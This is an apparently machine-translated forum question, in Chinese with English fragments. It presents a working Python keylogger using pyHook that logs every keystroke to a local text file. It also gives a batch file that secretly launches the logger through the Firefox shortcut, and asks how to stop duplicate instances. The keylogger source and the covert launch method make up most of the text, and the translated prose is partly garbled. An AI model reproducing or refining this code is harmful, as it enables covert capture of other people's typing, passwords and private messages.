我在this guy的教程後面做了一個簡單的Python鍵盤記錄程序。該.pyw
文件如下:如果它已經在運行,請不要運行python腳本
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Python27\\logger.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
它巧妙地運行,當我使用Firefox,因爲Firefox的快捷方式調用其中包含一個批處理文件:
@echo off
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"
我的問題是,如果我使用Firefox不止一次(這經常發生),這個腳本再次運行並重復自身,所以我在日誌文本文件中得到這些結果。
g
g
o
o
o
o
g
g
l
l
e
e
我需要一些if
條件不允許此腳本運行,如果它已經運行。
這裏是如何檢查的過程是通過批處理腳本運行http://stackoverflow.com/questions/162291/後如何檢查,如果一個進程正在運行,通過一個批處理腳本可能會幫助 – alex
看到:http://stackoverflow.com/questions/489861/locking-a-file-in -python –